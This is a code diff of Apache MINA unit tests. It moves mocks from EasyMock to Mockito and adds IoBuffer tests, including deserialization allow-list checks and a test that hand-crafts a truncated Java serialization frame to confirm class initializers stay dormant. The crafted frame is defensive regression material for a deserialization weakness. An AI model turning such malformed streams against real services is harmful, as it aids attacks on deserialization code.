IoServiceListenerSupport( - mockService); + IoServiceListenerSupport support = new IoServiceListenerSupport(mockService); DummySession session = new DummySession(); session.setService(mockService); session.setLocalAddress(ADDRESS); - IoHandler handler = EasyMock.createStrictMock( IoHandler.class ); + IoHandler handler = mock(IoHandler.class); session.setHandler(handler); - IoServiceListener listener = EasyMock.createStrictMock(IoServiceListener.class); - - // Test creation - listener.sessionCreated(session); - handler.sessionCreated(session); - handler.sessionOpened(session); - - EasyMock.replay(listener); - EasyMock.replay(handler); + IoServiceListener listener = mock(IoServiceListener.class); + // Inject the listener support.add(listener); + + // This call will call the following methods: + // * handler.sessionCreated() + // * handler.sessionOpened() + // * for each listener, listener.sessionCreated( support.fireSessionCreated(session); - EasyMock.verify(listener); - EasyMock.verify(handler); + verify(handler).sessionCreated(session); + verify(handler).sessionOpened(session); + verify(listener).sessionCreated(session);; + // We now should have 1 managed session assertEquals(1, support.getManagedSessions().size()); assertSame(session, support.getManagedSessions().get(session.getId())); // Test destruction & other side effects - EasyMock.reset(listener); - EasyMock.reset(handler); - handler.sessionClosed(session); - listener.sessionDestroyed(session); + // First reset the method calls + reset(listener); + reset(handler); - EasyMock.replay(listener); - //// Activate more than once + // Activate more than once, should do nothing, as the session has already been managed support.fireSessionCreated(session); - //// Deactivate + + assertEquals(1, support.getManagedSessions().size()); + assertSame(session, support.getManagedSessions().get(session.getId())); + + // Deactivate. This should call the following methods: + // * handler.sessionClosed() + // * for each listener, listener.sessionDestroyed(session) support.fireSessionDestroyed(session); - //// Deactivate more than once + + verify(handler).sessionClosed(session); + verify(listener).sessionDestroyed(session); + assertEquals(0, support.getManagedSessions().size()); + + // Deactivate more than once, should do nothing + // First, reset the function calls + reset(listener); + reset(handler); + + // Destroy again support.fireSessionDestroyed(session); - EasyMock.verify(listener); + // Check that the methods aren't called + verify(handler, never()).sessionClosed(session); + verify(listener, never()).sessionDestroyed(session); assertTrue(session.isClosing()); assertEquals(0, support.getManagedSessions().size()); @@ -133,73 +176,49 @@ public void testSessionLifecycle() throws Exception { @Test public void testDisconnectOnUnbind() throws Exception { - IoAcceptor acceptor = EasyMock.createStrictMock(IoAcceptor.class); + IoAcceptor acceptor = mock(IoAcceptor.class); - final IoServiceListenerSupport support = new IoServiceListenerSupport( - acceptor); + final IoServiceListenerSupport support = new IoServiceListenerSupport(acceptor); final DummySession session = new DummySession(); session.setService(acceptor); session.setLocalAddress(ADDRESS); - IoHandler handler = EasyMock.createStrictMock(IoHandler.class); + IoHandler handler = mock(IoHandler.class); session.setHandler(handler); - final IoServiceListener listener = EasyMock.createStrictMock(IoServiceListener.class); + final IoServiceListener listener = mock(IoServiceListener.class); // Activate a service and create a session. - listener.serviceActivated(acceptor); - listener.sessionCreated(session); - handler.sessionCreated(session); - handler.sessionOpened(session); - - EasyMock.replay(listener); - EasyMock.replay(handler); - support.add(listener); + + // The listener.serviceActivated method should be called support.fireServiceActivated(); + verify(listener).serviceActivated(acceptor); + + // Now create a session. The following methods should be called: + // * handler.sessionCreated() + // * handler.sessionOpened() + // * for each listener, listener.sessionCreated and serviceActivated support.fireSessionCreated(session); - EasyMock.verify(listener); - EasyMock.verify(handler); + verify(handler).sessionCreated(session); + verify(handler).sessionOpened(session); + verify(listener).serviceActivated(acceptor); + verify(listener).sessionCreated(session); // Deactivate a service and make sure the session is closed & destroyed. - EasyMock.reset(listener); - EasyMock.reset(handler); - - listener.serviceDeactivated(acceptor); - EasyMock.expect(acceptor.isCloseOnDeactivation()).andReturn(true); - listener.sessionDestroyed(session); - handler.sessionClosed(session); - - EasyMock.replay(listener); - EasyMock.replay(acceptor); - EasyMock.replay(handler); - - new Thread() { - // Emulate I/O service - @Override - public void run() { - try { - Thread.sleep(500); - } catch (InterruptedException e) { - //e.printStackTrace(); - } - // This synchronization block is a workaround for - // the visibility problem of simultaneous EasyMock - // state update. (not sure if it fixes the failing test yet.) - synchronized (listener) { - support.fireSessionDestroyed(session); - } - } - }.start(); + reset(listener); + reset(handler); + + when(acceptor.isCloseOnDeactivation()).thenReturn(true); + + support.fireSessionDestroyed(session); support.fireServiceDeactivated(); - synchronized (listener) { - EasyMock.verify(listener); - } - EasyMock.verify(acceptor); - EasyMock.verify(handler); + verify(listener).sessionDestroyed(session); + verify(acceptor).isCloseOnDeactivation(); + verify(handler).sessionClosed(session); assertTrue(session.isClosing()); assertEquals(0, support.getManagedSessions().size()); @@ -208,49 +227,43 @@ public void run() { @Test public void testConnectorActivation() throws Exception { - IoConnector connector = EasyMock.createStrictMock(IoConnector.class); + IoConnector connector = mock(IoConnector.class); - IoServiceListenerSupport support = new IoServiceListenerSupport( - connector); + IoServiceListenerSupport support = new IoServiceListenerSupport(connector); final DummySession session = new DummySession(); session.setService(connector); session.setRemoteAddress(ADDRESS); - IoHandler handler = EasyMock.createStrictMock(IoHandler.class); + IoHandler handler = mock(IoHandler.class); session.setHandler(handler); - IoServiceListener listener = EasyMock.createStrictMock(IoServiceListener.class); + IoServiceListener listener = mock(IoServiceListener.class); // Creating a session should activate a service automatically. - listener.serviceActivated(connector); - listener.sessionCreated(session); - handler.sessionCreated(session); - handler.sessionOpened(session); - - EasyMock.replay(listener); - EasyMock.replay(handler); - support.add(listener); - support.fireSessionCreated(session); - EasyMock.verify(listener); - EasyMock.verify(handler); + // This call will call the following methods: + // * handler.sessionCreated() + // * handler.sessionOpened() + // * for each listener, listener.sessionCreated( + support.fireSessionCreated(session); - // Destroying a session should deactivate a service automatically. - EasyMock.reset(listener); - EasyMock.reset(handler); - listener.sessionDestroyed(session); - handler.sessionClosed(session); - listener.serviceDeactivated(connector); + verify(handler).sessionCreated(session); + verify(handler).sessionOpened(session); + verify(listener).serviceActivated(connector); + verify(listener).sessionCreated(session); - EasyMock.replay(listener); - EasyMock.replay(handler); + assertEquals(1, support.getManagedSessions().size()); + // Destroy the session. The following methods should be called: + // * handler.sessionClosed() + // * for each listener, listener.sessionDestroyed(session) support.fireSessionDestroyed(session); - EasyMock.verify(listener); - EasyMock.verify(handler); + verify(handler).sessionClosed(session); + verify(listener).serviceDeactivated(connector); + verify(listener).sessionDestroyed(session); assertEquals(0, support.getManagedSessions().size()); assertNull(support.getManagedSessions().get(session.getId())); diff --git a/mina-core/src/test/java/org/apache/mina/core/buffer/ClinitDescriptorTest.java b/mina-core/src/test/java/org/apache/mina/core/buffer/ClinitDescriptorTest.java new file mode 100644 index 0000000000..d505a60d49 --- /dev/null +++ b/mina-core/src/test/java/org/apache/mina/core/buffer/ClinitDescriptorTest.java @@ -0,0 +1,96 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.core.buffer; + +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; + + +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.io.ObjectStreamClass; +import java.io.Serializable; + + +import org.junit.Test; + + +public class ClinitDescriptorTest { + static final class ClinitFlags { + static volatile boolean truncatedProbeInitialized = false; + static volatile boolean controlProbeInitialized = false; + } + + public static final class TruncatedProbe implements Serializable { + private static final long serialVersionUID = 1L; + + static { ClinitFlags.truncatedProbeInitialized = true; } + } + + public static final class ControlProbe implements Serializable { + private static final long serialVersionUID = 1L; + static { ClinitFlags.controlProbeInitialized = true; } + } + + private static byte[] truncatedTypeOneFrame(String className) throws Exception { + ByteArrayOutputStream body = new ByteArrayOutputStream(); + DataOutputStream d = new DataOutputStream(body); + d.writeShort(0xACED); // STREAM_MAGIC + d.writeShort(0x0005); // STREAM_VERSION + d.writeByte(0x73); // TC_OBJECT + d.writeByte(0x72); // TC_CLASSDESC + d.writeByte(0x01); // Mina type 1 (Serializable) + d.writeUTF(className); + // truncated: no super-class descriptor, no field data -> readObject aborts (EOF) + + byte[] b = body.toByteArray(); + ByteArrayOutputStream full = new ByteArrayOutputStream(); + DataOutputStream f = new DataOutputStream(full); + f.writeInt(b.length); // Mina 4-byte length prefix + f.write(b); + + return full.toByteArray(); + } + + @Test + public void truncatedDescriptorMustNotInitializeAllowListedClass() throws Exception { + assertFalse(ClinitFlags.truncatedProbeInitialized); + IoBuffer buf = + IoBuffer.wrap(truncatedTypeOneFrame(TruncatedProbe.class.getName())); + buf.accept(TruncatedProbe.class.getName()); // allow-listed, so it IS resolved + + try { + buf.getObject(); + } catch (Exception expected) { + // expected: aborts after the class name + } + + assertFalse("ZDRES-233: of an allow-listed class must not run during " + + "descriptor resolution of an aborted stream", ClinitFlags.truncatedProbeInitialized); + } + + + @Test + public void objectStreamClassLookupInitializesTheClass() { + assertFalse(ClinitFlags.controlProbeInitialized); + ObjectStreamClass.lookup(ControlProbe.class); + assertTrue(ClinitFlags.controlProbeInitialized); + } +} diff --git a/mina-core/src/test/java/org/apache/mina/core/buffer/IoBufferHexDumperTest.java b/mina-core/src/test/java/org/apache/mina/core/buffer/IoBufferHexDumperTest.java new file mode 100644 index 0000000000..7c9d36469b --- /dev/null +++ b/mina-core/src/test/java/org/apache/mina/core/buffer/IoBufferHexDumperTest.java @@ -0,0 +1,66 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.core.buffer; + +import static org.junit.Assert.assertEquals; + +import org.junit.Test; + +public class IoBufferHexDumperTest { + + @Test + public void checkHexDumpLength() { + IoBuffer buf = IoBuffer.allocate(5000); + + for (int i = 0; i < 20; i++) { + buf.putShort((short) 0xF0A0); + } + + buf.flip(); + + /* special case */ + assertEquals(0, buf.getHexDump(0).length()); + + /* no truncate needed */ + assertEquals(buf.limit() * 3 - 1, buf.getHexDump().length()); + assertEquals((Math.min(300, buf.limit()) * 3) - 1, buf.getHexDump(300).length()); + + /* must truncate */ + assertEquals((7 * 3) - 1, buf.getHexDump(7).length()); + assertEquals((10 * 3) - 1, buf.getHexDump(10).length()); + assertEquals((30 * 3) - 1, buf.getHexDump(30).length()); + + } + + @Test + public void checkPrettyHexDumpLength() { + IoBuffer buf = IoBuffer.allocate(5000); + + for (int i = 0; i < 20; i++) { + buf.putShort((short) 0xF0A0); + } + + buf.flip(); + + String[] dump = buf.getHexDump(50, true).split("\\n"); + + assertEquals(4, dump.length); + } +} diff --git a/mina-core/src/test/java/org/apache/mina/core/buffer/IoBufferTest.java b/mina-core/src/test/java/org/apache/mina/core/buffer/IoBufferTest.java index 47b2fe045d..9eb3951f40 100644 --- a/mina-core/src/test/java/org/apache/mina/core/buffer/IoBufferTest.java +++ b/mina-core/src/test/java/org/apache/mina/core/buffer/IoBufferTest.java @@ -21,18 +21,233 @@ import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNotSame; +import static org.junit.Assert.assertSame; import static org.junit.Assert.assertTrue; +import static org.junit.Assert.fail; +import java.nio.BufferOverflowException; import java.nio.ByteBuffer; +import java.nio.ByteOrder; +import java.nio.ReadOnlyBufferException; +import java.nio.charset.CharacterCodingException; +import java.nio.charset.Charset; +import java.nio.charset.CharsetDecoder; +import java.nio.charset.CharsetEncoder; +import java.nio.charset.CoderMalfunctionError; +import java.nio.charset.StandardCharsets; +import java.util.ArrayList; +import java.util.Date; +import java.util.EnumSet; +import java.util.List; +import org.apache.mina.core.buffer.matcher.RegexpClassNameMatcher; +import org.apache.mina.core.buffer.matcher.WildcardClassNameMatcher; +import org.apache.mina.util.Bar; +import org.apache.mina.util.Foo; import org.junit.Test; /** - * Tests {@link IoBuffer}. + * Tests the {@link IoBuffer} class. * * @author Apache MINA Project */ public class IoBufferTest { + + private static interface NonSerializableInterface { + } + + public static class NonSerializableClass { + } + + /** + * Test the capacity(newCapacity) method. + */ + @Test + public void testCapacity() { + IoBuffer buffer = IoBuffer.allocate(10); + + buffer.put("012345".getBytes()); + buffer.flip(); + + // See if we can decrease the capacity (we shouldn't be able to go under the minimul capacity) + IoBuffer newBuffer = buffer.capacity(7); + assertEquals(10, newBuffer.capacity()); + assertEquals(buffer, newBuffer); + + // See if we can increase the capacity + buffer = IoBuffer.allocate(10); + + buffer.put("012345".getBytes()); + buffer.flip(); + newBuffer = buffer.capacity(14); + assertEquals(14, newBuffer.capacity()); + assertEquals(buffer, newBuffer); + newBuffer.put(0, (byte)'9'); + assertEquals((byte)'9', newBuffer.get(0)); + assertEquals((byte)'9', buffer.get(0)); + + // See if we can go down when the minimum capacity is below the current capacity + // We should not. + buffer = IoBuffer.allocate(10); + buffer.capacity(5); + assertEquals(10, buffer.minimumCapacity()); + assertEquals(10, buffer.capacity()); + } + + /** + * Test the expand(expectedRemaining) method. + */ + @Test + public void testExpand() { + IoBuffer buffer = IoBuffer.allocate(10); + + buffer.put("012345".getBytes()); + buffer.flip(); + + assertEquals(0, buffer.position()); + assertEquals(6, buffer.limit()); + assertEquals(6, buffer.remaining()); + + // See if we can expand with a lower number of remaining bytes. We should not. + IoBuffer newBuffer = buffer.expand(2); + assertEquals(6, newBuffer.limit()); + assertEquals(10, newBuffer.capacity()); + assertEquals(0, newBuffer.position()); + + // Now, let's expand the buffer above the number of current bytes but below the limit + buffer = IoBuffer.allocate(10); + + buffer.put("012345".getBytes()); + buffer.flip(); + newBuffer = buffer.expand(8); + assertEquals(8, newBuffer.limit()); + assertEquals(10, newBuffer.capacity()); + assertEquals(0, newBuffer.position()); + + // Last, expand the buffer above the limit + buffer = IoBuffer.allocate(10); + + buffer.put("012345".getBytes()); + buffer.flip(); + newBuffer = buffer.expand(12); + assertEquals(12, newBuffer.limit()); + assertEquals(12, newBuffer.capacity()); + assertEquals(0, newBuffer.position()); + + // Now, move forward in the buffer + buffer = IoBuffer.allocate(10); + + buffer.put("012345".getBytes()); + buffer.flip(); + buffer.position(4); + + // See if we can expand with a lower number of remaining bytes. We should not. + newBuffer = buffer.expand(2); + assertEquals(6, newBuffer.limit()); + assertEquals(10, newBuffer.capacity()); + assertEquals(4, newBuffer.position()); + + // Expand above the current limit + buffer = IoBuffer.allocate(10); + + buffer.put("012345".getBytes()); + buffer.flip(); + buffer.position(4); + newBuffer = buffer.expand(3); + assertEquals(7, newBuffer.limit()); + assertEquals(10, newBuffer.capacity()); + assertEquals(4, newBuffer.position()); + + // Expand above the current capacity + buffer = IoBuffer.allocate(10); + + buffer.put("012345".getBytes()); + buffer.flip(); + buffer.position(4); + newBuffer = buffer.expand(7); + assertEquals(11, newBuffer.limit()); + assertEquals(11, newBuffer.capacity()); + assertEquals(4, newBuffer.position()); + } + + /** + * Test the expand(position, expectedRemaining) method. + */ + @Test + public void testExpandPos() { + IoBuffer buffer = IoBuffer.allocate(10); + + buffer.put("012345".getBytes()); + buffer.flip(); + + assertEquals(6, buffer.remaining()); + + // See if we can expand with a lower number of remaining bytes. We should not. + IoBuffer newBuffer = buffer.expand(3, 2); + assertEquals(6, newBuffer.limit()); + assertEquals(10, newBuffer.capacity()); + assertEquals(0, newBuffer.position()); + + // Now, let's expand the buffer above the number of current bytes but below the limit + buffer = IoBuffer.allocate(10); + buffer.put("012345".getBytes()); + buffer.flip(); + + newBuffer = buffer.expand(3, 5); + assertEquals(8, newBuffer.limit()); + assertEquals(10, newBuffer.capacity()); + assertEquals(0, newBuffer.position()); + + // Last, expand the buffer above the limit + buffer = IoBuffer.allocate(10); + + buffer.put("012345".getBytes()); + buffer.flip(); + newBuffer = buffer.expand(3,9); + assertEquals(12, newBuffer.limit()); + assertEquals(12, newBuffer.capacity()); + assertEquals(0, newBuffer.position()); + + // Now, move forward in the buffer + buffer = IoBuffer.allocate(10); + + buffer.put("012345".getBytes()); + buffer.flip(); + buffer.position(4); + + // See if we can expand with a lower number of remaining bytes. We should not be. + newBuffer = buffer.expand(5, 1); + assertEquals(6, newBuffer.limit()); + assertEquals(10, newBuffer.capacity()); + assertEquals(4, newBuffer.position()); + + // Expand above the current limit + buffer = IoBuffer.allocate(10); + + buffer.put("012345".getBytes()); + buffer.flip(); + buffer.position(4); + newBuffer = buffer.expand(5, 2); + assertEquals(7, newBuffer.limit()); + assertEquals(10, newBuffer.capacity()); + assertEquals(4, newBuffer.position()); + + // Expand above the current capacity + buffer = IoBuffer.allocate(10); + + buffer.put("012345".getBytes()); + buffer.flip(); + buffer.position(4); + newBuffer = buffer.expand(5, 6); + assertEquals(11, newBuffer.limit()); + assertEquals(11, newBuffer.capacity()); + assertEquals(4, newBuffer.position()); + } + + /** + * Test the normalizeCapacity(requestedCapacity) method. + */ @Test public void testNormalizeCapacity() { // A few sanity checks @@ -72,7 +287,7 @@ public void testNormalizeCapacity() { } long time2 = System.currentTimeMillis(); - System.out.println("Time for performance test 1: " + (time2 - time) + "ms"); + //System.out.println("Time for performance test 1: " + (time2 - time) + "ms"); // The second performance test measures the time to normalize integers // from Integer.MAX_VALUE to Integer.MAX_VALUE - 2^27 (it tests 2^27 @@ -89,20 +304,20 @@ public void testNormalizeCapacity() { } time2 = System.currentTimeMillis(); - System.out.println("Time for performance test 2: " + (time2 - time) + "ms"); + //System.out.println("Time for performance test 2: " + (time2 - time) + "ms"); + } + + @Test + public void autoExpand() { + IoBuffer buffer = IoBuffer.allocate(8, false); + buffer.setAutoExpand(true); + + assertTrue("Should AutoExpand", buffer.isAutoExpand()); + + IoBuffer slice = buffer.slice(); + assertFalse("Should *NOT* AutoExpand", buffer.isAutoExpand()); + assertFalse("Should *NOT* AutoExpand", slice.isAutoExpand()); } - - @Test - public void autoExpand() { - IoBuffer buffer = IoBuffer.allocate(8, false); - buffer.setAutoExpand(true); - - assertTrue("Should AutoExpand", buffer.isAutoExpand()); - - IoBuffer slice = buffer.slice(); - assertFalse("Should *NOT* AutoExpand", buffer.isAutoExpand()); - assertFalse("Should *NOT* AutoExpand", slice.isAutoExpand()); - } /** * This class extends the AbstractIoBuffer class to have direct access to @@ -154,4 +369,1473 @@ public boolean hasArray() { } } -} + + @Test + public void testObjectSerialization() throws Exception { + IoBuffer buf = IoBuffer.allocate(16); + buf.setAutoExpand(true); + List o = new ArrayList<>(); + o.add(new Date()); + o.add(long.class); + buf.accept(ArrayList.class.getName(), Date.class.getName(), long.class.getName()); + + // Test writing an object. + buf.putObject(o); + + // Test reading an object. + buf.clear(); + Object o2 = buf.getObject(); + assertEquals(o, o2); + + // This assertion is just to make sure that deserialization occurred. + assertNotSame(o, o2); + } + + @Test(expected=ClassNotFoundException.class) + public void testObjectSerializationReject() throws Exception { + IoBuffer buf = IoBuffer.allocate(16); + buf.setAutoExpand(true); + List o = new ArrayList<>(); + o.add(new Date()); + o.add(long.class); + + // We don't accept type 0 class (long) + buf.accept(ArrayList.class.getName(), Date.class.getName()); + + // Test writing an object. + buf.putObject(o); + + // Test reading an object. + buf.clear(); + + // The call should fail as long is not accepted + buf.getObject(); + } + + @Test + public void testSerializableClass() throws Exception { + Class c = String.class; + + IoBuffer buffer = IoBuffer.allocate(16); + buffer.setAutoExpand(true); + buffer.putObject(c); + + // Accept the String class + buffer.accept(String.class.getName()); + + buffer.flip(); + Object o = buffer.getObject(); + + assertEquals(c, o); + assertSame(c, o); + } + + @Test + public void testSerializableClassAcceptWildcard() throws Exception { + Class c = String.class; + + IoBuffer buffer = IoBuffer.allocate(16); + buffer.setAutoExpand(true); + buffer.putObject(c); + + // Accept all classes which name starts with 'java.lan' + // That includes 'java.lang.String' + buffer.accept(new WildcardClassNameMatcher("java.lan*")); + + buffer.flip(); + Object o = buffer.getObject(); + + assertEquals(c, o); + assertSame(c, o); + } + + @Test + public void testSerializableClassAcceptRegexp() throws Exception { + Class c = String.class; + + IoBuffer buffer = IoBuffer.allocate(16); + buffer.setAutoExpand(true); + buffer.putObject(c); + + // Accept all class which contains '.lang.' in their name + // That includes java.lang.String + buffer.accept(new RegexpClassNameMatcher(".*\\.lang\\..*")); + + buffer.flip(); + Object o = buffer.getObject(); + + assertEquals(c, o); + assertSame(c, o); + } + + @Test(expected=BufferDataException.class) + public void testNonSerializableBaseClassReject() throws Exception { + Class c = String.class; + + IoBuffer buffer = IoBuffer.allocate(16); + buffer.setAutoExpand(true); + buffer.putObject(c); + // Don't accept the java.lang.String class + + buffer.flip(); + + // Should throw an exception + buffer.getObject(); + } + + @Test + public void testNonSerializableInterfaceAccept() throws Exception { + Class c = NonSerializableInterface.class; + + IoBuffer buffer = IoBuffer.allocate(16); + buffer.setAutoExpand(true); + buffer.putObject(c); + buffer.accept(NonSerializableInterface.class.getName()); + + buffer.flip(); + Object o = buffer.getObject(); + + assertEquals(c, o); + assertSame(c, o); + } + + + @Test(expected=ClassNotFoundException.class) + public void testNonserializableInterfaceReject() throws Exception { + Class c = NonSerializableInterface.class; + + IoBuffer buffer = IoBuffer.allocate(16); + buffer.setAutoExpand(true); + buffer.putObject(c); + + buffer.flip(); + + // We must get an error + buffer.getObject(); + } + + @Test + public void testNonSerializableClassAccept() throws Exception { + Class c = NonSerializableClass.class; + + IoBuffer buffer = IoBuffer.allocate(16); + buffer.setAutoExpand(true); + buffer.putObject(c); + buffer.accept(NonSerializableClass.class.getName()); + + buffer.flip(); + Object o = buffer.getObject(); + + assertEquals(c, o); + assertSame(c, o); + } + + @Test(expected=ClassNotFoundException.class) + public void testNonSerializableClassReject() throws Exception { + Class c = NonSerializableClass.class; + + IoBuffer buffer = IoBuffer.allocate(16); + buffer.setAutoExpand(true); + buffer.putObject(c); + + buffer.flip(); + + // The call must fail + buffer.getObject(); + } + + @Test + public void testAllocate() throws Exception { + for (int i = 10; i < 1048576 * 2; i = i * 11 / 10) // increase by 10% + { + IoBuffer buf = IoBuffer.allocate(i); + assertEquals(0, buf.position()); + assertEquals(buf.capacity(), buf.remaining()); + assertTrue(buf.capacity() >= i); + assertTrue(buf.capacity() < i * 2); + } + } + + /** + * Test that we can't allocate a buffer with a negative value + * @throws Exception If allocation failed + */ + @Test(expected=IllegalArgumentException.class) + public void testAllocateNegative() throws Exception { + IoBuffer.allocate(-1); + } + + @Test + public void testAutoExpand() throws Exception { + IoBuffer buf = IoBuffer.allocate(1); + + buf.put((byte) 0); + try { + buf.put((byte) 0); + fail("Buffer can't auto expand, with autoExpand property set at false"); + } catch (BufferOverflowException e) { + // Expected Exception as auto expand property is false + assertTrue(true); + } + + buf.setAutoExpand(true); + buf.put((byte) 0); + assertEquals(2, buf.position()); + assertEquals(2, buf.limit()); + assertEquals(2, buf.capacity()); + + buf.setAutoExpand(false); + try { + buf.put(3, (byte) 0); + fail("Buffer can't auto expand, with autoExpand property set at false"); + } catch (IndexOutOfBoundsException e) { + // Expected Exception as auto expand property is false + assertTrue(true); + } + + buf.setAutoExpand(true); + buf.put(3, (byte) 0); + assertEquals(2, buf.position()); + assertEquals(4, buf.limit()); + assertEquals(4, buf.capacity()); + + // Make sure the buffer is doubled up. + buf = IoBuffer.allocate(1).setAutoExpand(true); + int lastCapacity = buf.capacity(); + for (int i = 0; i < 1048576; i++) { + buf.put((byte) 0); + if (lastCapacity != buf.capacity()) { + assertEquals(lastCapacity * 2, buf.capacity()); + lastCapacity = buf.capacity(); + } + } + } + + @Test + public void testAutoExpandMark() throws Exception { + IoBuffer buf = IoBuffer.allocate(4).setAutoExpand(true); + + buf.put((byte) 0); + buf.put((byte) 0); + buf.put((byte) 0); + + // Position should be 3 when we reset this buffer. + buf.mark(); + + // Overflow it + buf.put((byte) 0); + buf.put((byte) 0); + + assertEquals(5, buf.position()); + buf.reset(); + assertEquals(3, buf.position()); + } + + @Test + public void testAutoShrink() throws Exception { + IoBuffer buf = IoBuffer.allocate(8).setAutoShrink(true); + + // Make sure the buffer doesn't shrink too much (less than the initial + // capacity.) + buf.sweep((byte) 1); + buf.fill(7); + buf.compact(); + assertEquals(8, buf.capacity()); + assertEquals(1, buf.position()); + assertEquals(8, buf.limit()); + buf.clear(); + assertEquals(1, buf.get()); + + // Expand the buffer. + buf.capacity(32).clear(); + assertEquals(32, buf.capacity()); + + // Make sure the buffer shrinks when only 1/4 is being used. + buf.sweep((byte) 1); + buf.fill(24); + buf.compact(); + assertEquals(16, buf.capacity()); + assertEquals(8, buf.position()); + assertEquals(16, buf.limit()); + buf.clear(); + for (int i = 0; i < 8; i++) { + assertEquals(1, buf.get()); + } + + // Expand the buffer. + buf.capacity(32).clear(); + assertEquals(32, buf.capacity()); + + // Make sure the buffer shrinks when only 1/8 is being used. + buf.sweep((byte) 1); + buf.fill(28); + buf.compact(); + assertEquals(8, buf.capacity()); + assertEquals(4, buf.position()); + assertEquals(8, buf.limit()); + buf.clear(); + for (int i = 0; i < 4; i++) { + assertEquals(1, buf.get()); + } + + // Expand the buffer. + buf.capacity(32).clear(); + assertEquals(32, buf.capacity()); + + // Make sure the buffer shrinks when 0 byte is being used. + buf.fill(32); + buf.compact(); + assertEquals(8, buf.capacity()); + assertEquals(0, buf.position()); + assertEquals(8, buf.limit()); + + // Expand the buffer. + buf.capacity(32).clear(); + assertEquals(32, buf.capacity()); + + // Make sure the buffer doesn't shrink when more than 1/4 is being used. + buf.sweep((byte) 1); + buf.fill(23); + buf.compact(); + assertEquals(32, buf.capacity()); + assertEquals(9, buf.position()); + assertEquals(32, buf.limit()); + buf.clear(); + for (int i = 0; i < 9; i++) { + assertEquals(1, buf.get()); + } + } + + @Test + public void testGetString() throws Exception { + IoBuffer buf = IoBuffer.allocate(16); + CharsetDecoder decoder; + + Charset charset = StandardCharsets.UTF_8; + buf.clear(); + buf.putString("hello", charset.newEncoder()); + buf.put((byte) 0); + buf.flip(); + assertEquals("hello", buf.getString(charset.newDecoder())); + + buf.clear(); + buf.putString("hello", charset.newEncoder()); + buf.flip(); + assertEquals("hello", buf.getString(charset.newDecoder())); + + decoder = Charset.forName("ISO-8859-1").newDecoder(); + buf.clear(); + buf.put((byte) 'A'); + buf.put((byte) 'B'); + buf.put((byte) 'C'); + buf.put((byte) 0); + + buf.position(0); + assertEquals("ABC", buf.getString(decoder)); + assertEquals(4, buf.position()); + + buf.position(0); + buf.limit(1); + assertEquals("A", buf.getString(decoder)); + assertEquals(1, buf.position()); + + buf.clear(); + assertEquals("ABC", buf.getString(10, decoder)); + assertEquals(10, buf.position()); + + buf.clear(); + assertEquals("A", buf.getString(1, decoder)); + assertEquals(1, buf.position()); + + // Test a trailing garbage + buf.clear(); + buf.put((byte) 'A'); + buf.put((byte) 'B'); + buf.put((byte) 0); + buf.put((byte) 'C'); + buf.position(0); + assertEquals("AB", buf.getString(4, decoder)); + assertEquals(4, buf.position()); + + buf.clear(); + buf.fillAndReset(buf.limit()); + decoder = Charset.forName("UTF-16").newDecoder(); + buf.put((byte) 0); + buf.put((byte) 'A'); + buf.put((byte) 0); + buf.put((byte) 'B'); + buf.put((byte) 0); + buf.put((byte) 'C'); + buf.put((byte) 0); + buf.put((byte) 0); + + buf.position(0); + assertEquals("ABC", buf.getString(decoder)); + assertEquals(8, buf.position()); + + buf.position(0); + buf.limit(2); + assertEquals("A", buf.getString(decoder)); + assertEquals(2, buf.position()); + + buf.position(0); + buf.limit(3); + assertEquals("A", buf.getString(decoder)); + assertEquals(2, buf.position()); + + buf.clear(); + assertEquals("ABC", buf.getString(10, decoder)); + assertEquals(10, buf.position()); + + buf.clear(); + assertEquals("A", buf.getString(2, decoder)); + assertEquals(2, buf.position()); + + buf.clear(); + try { + buf.getString(1, decoder); + fail(); + } catch (IllegalArgumentException e) { + // Expected an Exception, signifies test success + assertTrue(true); + } + + // Test getting strings from an empty buffer. + buf.clear(); + buf.limit(0); + assertEquals("", buf.getString(decoder)); + assertEquals("", buf.getString(2, decoder)); + + // Test getting strings from non-empty buffer which is filled with 0x00 + buf.clear(); + buf.putInt(0); + buf.clear(); + buf.limit(4); + assertEquals("", buf.getString(decoder)); + assertEquals(2, buf.position()); + assertEquals(4, buf.limit()); + + buf.position(0); + assertEquals("", buf.getString(2, decoder)); + assertEquals(2, buf.position()); + assertEquals(4, buf.limit()); + } + + @Test + public void testGetStringWithFailure() throws Exception { + String test = "\u30b3\u30e1\u30f3\u30c8\u7de8\u96c6"; + IoBuffer buffer = IoBuffer.wrap(test.getBytes("Shift_JIS")); + + // Make sure the limit doesn't change when an exception arose. + int oldLimit = buffer.limit(); + int oldPos = buffer.position(); + try { + buffer.getString(3, Charset.forName("ASCII").newDecoder()); + fail(); + } catch (Exception e) { + assertEquals(oldLimit, buffer.limit()); + assertEquals(oldPos, buffer.position()); + } + + try { + buffer.getString(Charset.forName("ASCII").newDecoder()); + fail(); + } catch (Exception e) { + assertEquals(oldLimit, buffer.limit()); + assertEquals(oldPos, buffer.position()); + } + } + + @Test + public void testPutString() throws Exception { + CharsetEncoder encoder; + IoBuffer buf = IoBuffer.allocate(16); + encoder = Charset.forName("ISO-8859-1").newEncoder(); + + buf.putString("ABC", encoder); + assertEquals(3, buf.position()); + buf.clear(); + assertEquals('A', buf.get(0)); + assertEquals('B', buf.get(1)); + assertEquals('C', buf.get(2)); + + buf.putString("D", 5, encoder); + assertEquals(5, 